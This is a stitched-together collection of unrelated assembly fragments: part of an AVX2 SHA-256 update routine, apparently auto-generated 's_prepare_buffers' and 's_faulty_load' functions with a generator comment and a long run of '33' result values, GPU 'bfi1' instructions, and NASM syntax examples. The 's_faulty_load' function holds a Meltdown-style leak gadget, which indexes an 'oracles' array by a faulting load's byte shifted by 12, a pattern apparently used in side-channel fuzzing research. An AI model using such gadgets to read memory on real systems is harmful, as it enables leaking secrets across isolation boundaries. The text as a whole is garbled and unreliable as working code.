rorx $(2), %edx, %r13d add %ecx, %r10d vpsrlq $(17), %ymm5, %ymm5 and %edi, %r15d xor %r12d, %r14d xor %r8d, %r15d vpaddd %ymm6, %ymm3, %ymm3 xor %r13d, %r14d add %r15d, %ecx mov %r11d, %r12d vpxor %ymm5, %ymm4, %ymm4 addl (104)(%rsp), %ebx and %r10d, %r12d rorx $(25), %r10d, %r13d vpsrlq $(2), %ymm5, %ymm5 rorx $(11), %r10d, %r15d add %r14d, %ecx add %r12d, %ebx vpxor %ymm5, %ymm4, %ymm4 andn %eax, %r10d, %r12d xor %r15d, %r13d rorx $(6), %r10d, %r14d vpshufb %ymm8, %ymm4, %ymm4 add %r12d, %ebx xor %r14d, %r13d mov %ecx, %r15d vpaddd %ymm4, %ymm3, %ymm3 rorx $(22), %ecx, %r12d add %r13d, %ebx xor %edx, %r15d vpshufd $(80), %ymm3, %ymm5 rorx $(13), %ecx, %r14d rorx $(2), %ecx, %r13d add %ebx, %r9d vpsrld $(10), %ymm5, %ymm4 and %r15d, %edi xor %r12d, %r14d xor %edx, %edi vpsrlq $(17), %ymm5, %ymm5 xor %r13d, %r14d add %edi, %ebx mov %r10d, %r12d vpxor %ymm5, %ymm4, %ymm4 addl (108)(%rsp), %eax and %r9d, %r12d rorx $(25), %r9d, %r13d vpsrlq $(2), %ymm5, %ymm5 rorx $(11), %r9d, %edi add %r14d, %ebx add %r12d, %eax vpxor %ymm5, %ymm4, %ymm4 andn %r11d, %r9d, %r12d xor %edi, %r13d rorx $(6), %r9d, %r14d vpshufb %ymm9, %ymm4, %ymm4 add %r12d, %eax xor %r14d, %r13d mov %ebx, %edi vpaddd %ymm4, %ymm3, %ymm3 rorx $(22), %ebx, %r12d add %r13d, %eax xor %ecx, %edi vpaddd (96)(%rbp), %ymm3, %ymm4 rorx $(13), %ebx, %r14d rorx $(2), %ebx, %r13d add %eax, %r8d and %edi, %r15d xor %r12d, %r14d xor %ecx, %r15d vmovdqa %ymm4, (224)(%rsp) xor %r13d, %r14d add %r15d, %eax mov %r9d, %r12d add $(128), %rsp add $(128), %rbp cmpl $(3329325298), (-4)(%rbp) jne .Lblock1_shed_procgas_1 addl (%rsp), %r11d and %r8d, %r12d rorx $(25), %r8d, %r13d rorx $(11), %r8d, %r15d add %r14d, %eax add %r12d, %r11d andn %r10d, %r8d, %r12d xor %r15d, %r13d rorx $(6), %r8d, %r14d add %r12d, %r11d xor %r14d, %r13d mov %eax, %r15d rorx $(22), %eax, %r12d add %r13d, %r11d xor %ebx, %r15d rorx $(13), %eax, %r14d rorx $(2), %eax, %r13d add %r11d, %edx and %r15d, %edi xor %r12d, %r14d xor %ebx, %edi xor %r13d, %r14d add %edi, %r11d mov %r8d, %r12d addl (4)(%rsp), %r10d and %edx, %r12d rorx $(25), %edx, %r13d rorx $(11), %edx, %edi add %r14d, %r11d add %r12d, %r10d andn %r9d, %edx, %r12d xor %edi, %r13d rorx $(6), %edx, %r14d add %r12d, %r10d xor %r14d, %r13d mov %r11d, %edi rorx $(22), %r11d, %r12d add %r13d, %r10d xor %eax, %edi rorx $(13), %r11d, %r14d rorx $(2), %r11d, %r13d add %r10d, %ecx and %edi, %r15d xor %r12d, %r14d xor %eax, %r15d xor %r13d, %r14d add %r15d, %r10d mov %edx, %r12d addl (8)(%rsp), %r9d and %ecx, %r12d rorx $(25), %ecx, %r13d rorx $(11), %ecx, %r15d add %r14d, %r10d add %r12d, %r9d andn %r8d, %ecx, %r12d xor %r15d, %r13d rorx $(6), %ecx, %r14d add %r12d, %r9d xor %r14d, %r13d mov %r10d, %r15d rorx $(22), %r10d, %r12d add %r13d, %r9d xor %r11d, %r15d rorx $(13), %r10d, %r14d rorx $(2), %r10d, %r13d add %r9d, %ebx and %r15d, %edi xor %r12d, %r14d xor %r11d, %edi xor %r13d, %r14d add %edi, %r9d mov %ecx, %r12d addl (12)(%rsp), %r8d and %ebx, %r12d rorx $(25), %ebx, %r13d rorx $(11), %ebx, %edi add %r14d, %r9d add %r12d, %r8d andn %edx, %ebx, %r12d xor %edi, %r13d rorx $(6), %ebx, %r14d add %r12d, %r8d xor %r14d, %r13d mov %r9d, %edi rorx $(22), %r9d, %r12d add %r13d, %r8d xor %r10d, %edi rorx $(13), %r9d, %r14d rorx $(2), %r9d, %r13d add %r8d, %eax and %edi, %r15d xor %r12d, %r14d xor %r10d, %r15d xor %r13d, %r14d add %r15d, %r8d mov %ebx, %r12d addl (32)(%rsp), %edx and %eax, %r12d rorx $(25), %eax, %r13d rorx $(11), %eax, %r15d add %r14d, %r8d add %r12d, %edx andn %ecx, %eax, %r12d xor %r15d, %r13d rorx $(6), %eax, %r14d add %r12d, %edx xor %r14d, %r13d mov %r8d, %r15d rorx $(22), %r8d, %r12d add %r13d, %edx xor %r9d, %r15d rorx $(13), %r8d, %r14d rorx $(2), %r8d, %r13d add %edx, %r11d and %r15d, %edi xor %r12d, %r14d xor %r9d, %edi xor %r13d, %r14d add %edi, %edx mov %eax, %r12d addl (36)(%rsp), %ecx and %r11d, %r12d rorx $(25), %r11d, %r13d rorx $(11), %r11d, %edi add %r14d, %edx add %r12d, %ecx andn %ebx, %r11d, %r12d xor %edi, %r13d rorx $(6), %r11d, %r14d add %r12d, %ecx xor %r14d, %r13d mov %edx, %edi rorx $(22), %edx, %r12d add %r13d, %ecx xor %r8d, %edi rorx $(13), %edx, %r14d rorx $(2), %edx, %r13d add %ecx, %r10d and %edi, %r15d xor %r12d, %r14d xor %r8d, %r15d xor %r13d, %r14d add %r15d, %ecx mov %r11d, %r12d addl (40)(%rsp), %ebx and %r10d, %r12d rorx $(25), %r10d, %r13d rorx $(11), %r10d, %r15d add %r14d, %ecx add %r12d, %ebx andn %eax, %r10d, %r12d xor %r15d, %r13d rorx $(6), %r10d, %r14d add %r12d, %ebx xor %r14d, %r13d mov %ecx, %r15d rorx $(22), %ecx, %r12d add %r13d, %ebx xor %edx, %r15d rorx $(13), %ecx, %r14d rorx $(2), %ecx, %r13d add %ebx, %r9d and %r15d, %edi xor %r12d, %r14d xor %edx, %edi xor %r13d, %r14d add %edi, %ebx mov %r10d, %r12d addl (44)(%rsp), %eax and %r9d, %r12d rorx $(25), %r9d, %r13d rorx $(11), %r9d, %edi add %r14d, %ebx add %r12d, %eax andn %r11d, %r9d, %r12d xor %edi, %r13d rorx $(6), %r9d, %r14d add %r12d, %eax xor %r14d, %r13d mov %ebx, %edi rorx $(22), %ebx, %r12d add %r13d, %eax xor %ecx, %edi rorx $(13), %ebx, %r14d rorx $(2), %ebx, %r13d add %eax, %r8d and %edi, %r15d xor %r12d, %r14d xor %ecx, %r15d xor %r13d, %r14d add %r15d, %eax mov %r9d, %r12d addl (64)(%rsp), %r11d and %r8d, %r12d rorx $(25), %r8d, %r13d rorx $(11), %r8d, %r15d add %r14d, %eax add %r12d, %r11d andn %r10d, %r8d, %r12d xor %r15d, %r13d rorx $(6), %r8d, %r14d add %r12d, %r11d xor %r14d, %r13d mov %eax, %r15d rorx $(22), %eax, %r12d add %r13d, %r11d xor %ebx, %r15d rorx $(13), %eax, %r14d rorx $(2), %eax, %r13d add %r11d, %edx and %r15d, %edi xor %r12d, %r14d xor %ebx, %edi xor %r13d, %r14d add %edi, %r11d mov %r8d, %r12d addl (68)(%rsp), %r10d and %edx, %r12d rorx $(25), %edx, %r13d rorx $(11), %edx, %edi add %r14d, %r11d add %r12d, %r10d andn %r9d, %edx, %r12d xor %edi, %r13d rorx $(6), %edx, %r14d add %r12d, %r10d xor %r14d, %r13d mov %r11d, %edi rorx $(22), %r11d, %r12d add %r13d, %r10d xor %eax, %edi rorx $(13), %r11d, %r14d rorx $(2), %r11d, %r13d add %r10d, %ecx and %edi, %r15d xor %r12d, %r14d xor %eax, %r15d xor %r13d, %r14d add %r15d, %r10d mov %edx, %r12d addl (72)(%rsp), %r9d and %ecx, %r12d rorx $(25), %ecx, %r13d rorx $(11), %ecx, %r15d add %r14d, %r10d add %r12d, %r9d andn %r8d, %ecx, %r12d xor %r15d, %r13d rorx $(6), %ecx, %r14d add %r12d, %r9d xor %r14d, %r13d mov %r10d, %r15d rorx $(22), %r10d, %r12d add %r13d, %r9d xor %r11d, %r15d rorx $(13), %r10d, %r14d rorx $(2), %r10d, %r13d add %r9d, %ebx and %r15d, %edi xor %r12d, %r14d xor %r11d, %edi xor %r13d, %r14d add %edi, %r9d mov %ecx, %r12d addl (76)(%rsp), %r8d and %ebx, %r12d rorx $(25), %ebx, %r13d rorx $(11), %ebx, %edi add %r14d, %r9d add %r12d, %r8d andn %edx, %ebx, %r12d xor %edi, %r13d rorx $(6), %ebx, %r14d add %r12d, %r8d xor %r14d, %r13d mov %r9d, %edi rorx $(22), %r9d, %r12d add %r13d, %r8d xor %r10d, %edi rorx $(13), %r9d, %r14d rorx $(2), %r9d, %r13d add %r8d, %eax and %edi, %r15d xor %r12d, %r14d xor %r10d, %r15d xor %r13d, %r14d add %r15d, %r8d mov %ebx, %r12d addl (96)(%rsp), %edx and %eax, %r12d rorx $(25), %eax, %r13d rorx $(11), %eax, %r15d add %r14d, %r8d add %r12d, %edx andn %ecx, %eax, %r12d xor %r15d, %r13d rorx $(6), %eax, %r14d add %r12d, %edx xor %r14d, %r13d mov %r8d, %r15d rorx $(22), %r8d, %r12d add %r13d, %edx xor %r9d, %r15d rorx $(13), %r8d, %r14d rorx $(2), %r8d, %r13d add %edx, %r11d and %r15d, %edi xor %r12d, %r14d xor %r9d, %edi xor %r13d, %r14d add %edi, %edx mov %eax, %r12d addl (100)(%rsp), %ecx and %r11d, %r12d rorx $(25), %r11d, %r13d rorx $(11), %r11d, %edi add %r14d, %edx add %r12d, %ecx andn %ebx, %r11d, %r12d xor %edi, %r13d rorx $(6), %r11d, %r14d add %r12d, %ecx xor %r14d, %r13d mov %edx, %edi rorx $(22), %edx, %r12d add %r13d, %ecx xor %r8d, %edi rorx $(13), %edx, %r14d rorx $(2), %edx, %r13d add %ecx, %r10d and %edi, %r15d xor %r12d, %r14d xor %r8d, %r15d xor %r13d, %r14d add %r15d, %ecx mov %r11d, %r12d addl (104)(%rsp), %ebx and %r10d, %r12d rorx $(25), %r10d, %r13d rorx $(11), %r10d, %r15d add %r14d, %ecx add %r12d, %ebx andn %eax, %r10d, %r12d xor %r15d, %r13d rorx $(6), %r10d, %r14d add %r12d, %ebx xor %r14d, %r13d mov %ecx, %r15d rorx $(22), %ecx, %r12d add %r13d, %ebx xor %edx, %r15d rorx $(13), %ecx, %r14d rorx $(2), %ecx, %r13d add %ebx, %r9d and %r15d, %edi xor %r12d, %r14d xor %edx, %edi xor %r13d, %r14d add %edi, %ebx mov %r10d, %r12d addl (108)(%rsp), %eax and %r9d, %r12d rorx $(25), %r9d, %r13d rorx $(11), %r9d, %edi add %r14d, %ebx add %r12d, %eax andn %r11d, %r9d, %r12d xor %edi, %r13d rorx $(6), %r9d, %r14d add %r12d, %eax xor %r14d, %r13d mov %ebx, %edi rorx $(22), %ebx, %r12d add %r13d, %eax xor %ecx, %edi rorx $(13), %ebx, %r14d rorx $(2), %ebx, %r13d add %eax, %r8d and %edi, %r15d xor %r12d, %r14d xor %ecx, %r15d xor %r13d, %r14d add %r15d, %eax mov %r9d, %r12d add %r14d, %eax sub $(384), %rsp movq (-24)(%rsp), %rdi movq (-16)(%rsp), %r14 addl (%rdi), %eax movl %eax, (%rdi) addl (4)(%rdi), %ebx movl %ebx, (4)(%rdi) addl (8)(%rdi), %ecx movl %ecx, (8)(%rdi) addl (12)(%rdi), %edx movl %edx, (12)(%rdi) addl (16)(%rdi), %r8d movl %r8d, (16)(%rdi) addl (20)(%rdi), %r9d movl %r9d, (20)(%rdi) addl (24)(%rdi), %r10d movl %r10d, (24)(%rdi) addl (28)(%rdi), %r11d movl %r11d, (28)(%rdi) cmp $(128), %r14 jl .Ldonegas_1 add $(16), %rsp lea (512)(%rsp), %rbp mov %ebx, %edi xor %r14d, %r14d mov %r9d, %r12d xor %ecx, %edi .p2align 6, 0x90 .Lblock2_procgas_1: addl (%rsp), %r11d and %r8d, %r12d rorx $(25), %r8d, %r13d rorx $(11), %r8d, %r15d add %r14d, %eax add %r12d, %r11d andn %r10d, %r8d, %r12d xor %r15d, %r13d rorx $(6), %r8d, %r14d add %r12d, %r11d xor %r14d, %r13d mov %eax, %r15d rorx $(22), %eax, %r12d add %r13d, %r11d xor %ebx, %r15d rorx $(13), %eax, %r14d rorx $(2), %eax, %r13d add %r11d, %edx and %r15d, %edi xor %r12d, %r14d xor %ebx, %edi xor %r13d, %r14d add %edi, %r11d mov %r8d, %r12d addl (4)(%rsp), %r10d and %edx, %r12d rorx $(25), %edx, %r13d rorx $(11), %edx, %edi add %r14d, %r11d add %r12d, %r10d andn %r9d, %edx, %r12d xor %edi, %r13d rorx $(6), %edx, %r14d add %r12d, %r10d xor %r14d, %r13d mov %r11d, %edi rorx $(22), %r11d, %r12d add %r13d, %r10d xor %eax, %edi rorx $(13), %r11d, %r14d rorx $(2), %r11d, %r13d add %r10d, %ecx and %edi, %r15d xor %r12d, %r14d xor %eax, %r15d xor %r13d, %r14d add %r15d, %r10d mov %edx, %r12d addl (8)(%rsp), %r9d and %ecx, %r12d rorx $(25), %ecx, %r13d rorx $(11), %ecx, %r15d add %r14d, %r10d add %r12d, %r9d andn %r8d, %ecx, %r12d xor %r15d, %r13d rorx $(6), %ecx, %r14d add %r12d, %r9d xor %r14d, %r13d mov %r10d, %r15d rorx $(22), %r10d, %r12d add %r13d, %r9d xor %r11d, %r15d rorx $(13), %r10d, %r14d rorx $(2), %r10d, %r13d add %r9d, %ebx and %r15d, %edi xor %r12d, %r14d xor %r11d, %edi xor %r13d, %r14d add %edi, %r9d mov %ecx, %r12d addl (12)(%rsp), %r8d and %ebx, %r12d rorx $(25), %ebx, %r13d rorx $(11), %ebx, %edi add %r14d, %r9d add %r12d, %r8d andn %edx, %ebx, %r12d xor %edi, %r13d rorx $(6), %ebx, %r14d add %r12d, %r8d xor %r14d, %r13d mov %r9d, %edi rorx $(22), %r9d, %r12d add %r13d, %r8d xor %r10d, %edi rorx $(13), %r9d, %r14d rorx $(2), %r9d, %r13d add %r8d, %eax and %edi, %r15d xor %r12d, %r14d xor %r10d, %r15d xor %r13d, %r14d add %r15d, %r8d mov %ebx, %r12d addl (32)(%rsp), %edx and %eax, %r12d rorx $(25), %eax, %r13d rorx $(11), %eax, %r15d add %r14d, %r8d add %r12d, %edx andn %ecx, %eax, %r12d xor %r15d, %r13d rorx $(6), %eax, %r14d add %r12d, %edx xor %r14d, %r13d mov %r8d, %r15d rorx $(22), %r8d, %r12d add %r13d, %edx xor %r9d, %r15d rorx $(13), %r8d, %r14d rorx $(2), %r8d, %r13d add %edx, %r11d and %r15d, %edi xor %r12d, %r14d xor %r9d, %edi xor %r13d, %r14d add %edi, %edx mov %eax, %r12d addl (36)(%rsp), %ecx and %r11d, %r12d rorx $(25), %r11d, %r13d rorx $(11), %r11d, %edi add %r14d, %edx add %r12d, %ecx andn %ebx, %r11d, %r12d xor %edi, %r13d rorx $(6), %r11d, %r14d add %r12d, %ecx xor %r14d, %r13d mov %edx, %edi rorx $(22), %edx, %r12d add %r13d, %ecx xor %r8d, %edi rorx $(13), %edx, %r14d rorx $(2), %edx, %r13d add %ecx, %r10d and %edi, %r15d xor %r12d, %r14d xor %r8d, %r15d xor %r13d, %r14d add %r15d, %ecx mov %r11d, %r12d addl (40)(%rsp), %ebx and %r10d, %r12d rorx $(25), %r10d, %r13d rorx $(11), %r10d, %r15d add %r14d, %ecx add %r12d, %ebx andn %eax, %r10d, %r12d xor %r15d, %r13d rorx $(6), %r10d, %r14d add %r12d, %ebx xor %r14d, %r13d mov %ecx, %r15d rorx $(22), %ecx, %r12d add %r13d, %ebx xor %edx, %r15d rorx $(13), %ecx, %r14d rorx $(2), %ecx, %r13d add %ebx, %r9d and %r15d, %edi xor %r12d, %r14d xor %edx, %edi xor %r13d, %r14d add %edi, %ebx mov %r10d, %r12d addl (44)(%rsp), %eax and %r9d, %r12d rorx $(25), %r9d, %r13d rorx $(11), %r9d, %edi add %r14d, %ebx add %r12d, %eax andn %r11d, %r9d, %r12d xor %edi, %r13d rorx $(6), %r9d, %r14d add %r12d, %eax xor %r14d, %r13d mov %ebx, %edi rorx $(22), %ebx, %r12d add %r13d, %eax xor %ecx, %edi rorx $(13), %ebx, %r14d rorx $(2), %ebx, %r13d add %eax, %r8d and %edi, %r15d xor %r12d, %r14d xor %ecx, %r15d xor %r13d, %r14d add %r15d, %eax mov %r9d, %r12d add $(64), %rsp cmp %rbp, %rsp jb .Lblock2_procgas_1 add %r14d, %eax sub $(528), %rsp movq (-24)(%rsp), %rdi movq (-16)(%rsp), %r14 addl (%rdi), %eax movl %eax, (%rdi) addl (4)(%rdi), %ebx movl %ebx, (4)(%rdi) addl (8)(%rdi), %ecx movl %ecx, (8)(%rdi) addl (12)(%rdi), %edx movl %edx, (12)(%rdi) addl (16)(%rdi), %r8d movl %r8d, (16)(%rdi) addl (20)(%rdi), %r9d movl %r9d, (20)(%rdi) addl (24)(%rdi), %r10d movl %r10d, (24)(%rdi) addl (28)(%rdi), %r11d movl %r11d, (28)(%rdi) add $(128), %rsi sub $(128), %r14 movq %r14, (-16)(%rsp) jg .Lsha256_block2_loopgas_1 .Ldonegas_1: movq (-8)(%rsp), %rsp add $(544), %rsp pop %r15 pop %r14 pop %r13 pop %r12 pop %rbx pop %rbp pop %rbx ret .Lfe1: .size n0_UpdateSHA256, .Lfe1-(n0_UpdateSHA256)
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r14 push %rax push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x1aac, %rsi lea addresses_WT_ht+0x32b4, %rdi nop nop dec %r11 mov $120, %rcx rep movsl nop nop inc %rdx lea addresses_WC_ht+0xb6fc, %rsi lea addresses_normal_ht+0x12bfc, %rdi nop nop nop nop inc %rax mov $118, %rcx rep movsw nop nop nop nop add %rdi, %rdi lea addresses_WC_ht+0x1470c, %rsi lea addresses_D_ht+0x15008, %rdi xor $1057, %r14 mov $55, %rcx rep movsq nop nop inc %r14 lea addresses_WT_ht+0x162c, %rsi nop nop nop nop nop cmp %rdx, %rdx mov $0x6162636465666768, %rdi movq %rdi, (%rsi) nop nop sub $1435, %rax lea addresses_D_ht+0x54ba, %rsi lea addresses_D_ht+0x1dc3c, %rdi clflush (%rdi) nop nop sub $18429, %rbp mov $3, %rcx rep movsq nop nop nop nop xor %r11, %r11 lea addresses_normal_ht+0x1e87c, %rdi nop nop nop nop nop xor %rcx, %rcx mov $0x6162636465666768, %rbp movq %rbp, (%rdi) nop nop nop nop sub %rbp, %rbp lea addresses_A_ht+0x127fc, %rdx nop nop nop xor $41379, %rax mov (%rdx), %bp sub %rax, %rax lea addresses_A_ht+0x14df0, %rdx nop nop nop nop nop and $49584, %rcx vmovups (%rdx), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $0, %xmm2, %rsi nop nop nop nop nop and $13838, %rsi lea addresses_A_ht+0x64e4, %rsi lea addresses_WC_ht+0x277e, %rdi nop nop cmp %r11, %r11 mov $67, %rcx rep movsq nop cmp $44259, %rcx lea addresses_A_ht+0x409c, %rsi lea addresses_A_ht+0x1e37c, %rdi clflush (%rdi) nop and $62506, %rbp mov $46, %rcx rep movsq nop sub %rdx, %rdx lea addresses_WC_ht+0x1e98c, %rsi lea addresses_UC_ht+0x12432, %rdi sub $26517, %rdx mov $106, %rcx rep movsl and $19158, %r14 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %rax pop %r14 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r15 push %r9 push %rbp push %rbx push %rcx push %rdx // Store lea addresses_UC+0xadfc, %r11 nop nop add %rcx, %rcx mov $0x5152535455565758, %r15 movq %r15, %xmm7 vmovups %ymm7, (%r11) nop nop nop cmp $55548, %rcx // Faulty Load lea addresses_PSE+0x1dbfc, %rdx cmp $26481, %rbp vmovups (%rdx), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $0, %xmm1, %r15 lea oracles, %rbx and $0xff, %r15 shlq $12, %r15 mov (%rbx,%r15,1), %r15 pop %rdx pop %rcx pop %rbx pop %rbp pop %r9 pop %r15 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_PSE', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_UC', 'size': 32, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_PSE', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': True}} {'src': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}} {'src': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False}} {'src': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False}} {'src': {'same': True, 'congruent': 10, 'NT': False, 'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}} {'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}} {'src': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': True}} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
bfi1(8) g22<1>UD g20<4>.xD g19<4>.xD { align16 1Q }; bfi1(8) g12<1>UD g11<8,8,1>D g10<8,8,1>D { align1 1Q }; bfi1(16) g16<1>UD g14<8,8,1>D g12<8,8,1>D { align1 1H };
mov ax,100 mov ax,0a2h mov ax,$0a2 mov ax,0xa2 mov ax,777q mov ax,10010011b mov eax,'abcd' db 'hello' db 'h','e','l','l','o' dd 'ninechars' dd 'nine','char','s' db 'ninechars',0,0,0